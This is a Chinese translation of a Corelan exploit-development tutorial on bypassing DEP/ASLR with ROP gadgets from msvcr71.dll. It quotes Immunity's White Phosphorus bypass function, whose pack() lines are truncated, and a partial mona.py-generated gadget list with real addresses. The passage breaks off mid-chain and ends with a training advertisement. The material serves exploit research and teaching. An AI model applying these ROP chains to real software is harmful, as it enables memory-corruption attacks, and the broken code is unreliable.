原文: Corelan Team (corelanc0d3r)
翻译: 后恋
说明
最近几周,有许多关于利用msvcr71.dll中ROP gadgets(译者注gadgets小代码)实现通用绕过DEP/ASLR的方法,事实上甚至已经有集成了这类功能的exploit程序被提交给Metasploit来获取奖金了。
白磷版本
做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向VirtualProtect函数的指针。这个版本的dll没有基于ASLR,因此这是个可以用来实现通用绕过DEP和ASLR的完美侯选者,此外它还包含了生成ROP程序的所有gadgets。
如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用ROP chain来实现绕过DEP和ASLR的通用方法。
Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:
def wp_sayonaraASLRDEPBypass(size=1000):
# White Phosphorus
# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
#
# This technique uses msvcr71.dll which has shipped unchanged
# in the Java Runtime Environment since v1.6.0.0 released
# December 2006.
#
# mail: support@whitephosphorus org
# sales:
http://www.immunityinc.com/products-whitephosphorus.shtml
print "WP> Building Sayonara - Universal ASLR and DEP bypass"
size += 4 # bytes to shellcode after pushad esp ptr
depBypass = pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack("
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
depBypass += pack('
print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
return depBypass
受Mestasploit奖金事件的触动,以及Abysssec几个小时前(译者注:2011/07/03)发表的一个类似文档,同时由于Immunity已经发布了代码,我决定自己再研究下看看能不能从msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
我用Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建一个拥有ROP gadgets的数据库,并且生成一个rop chain
因为在白磷版本中没有null字节,所以可以尝试做同样的事。
结果如下:
输入命令:
!mona rop -m msvcr71.dll -n
17秒后,结果如下:
rop_gadgets =
[
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
0x????????, # ** <- find routine to move virtualprotect() into esi
# ** Hint : look for mov [esp+offset],eax and pop esi
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from msvcr71.dll)
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0xfffffdff, # value to negate, target value : 0x00000201, target: ebx
0x7c351e05, # NEG EAX # RETN (msvcr71.dll)
0x7c354901, # POP EBX # RETN (msvcr71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!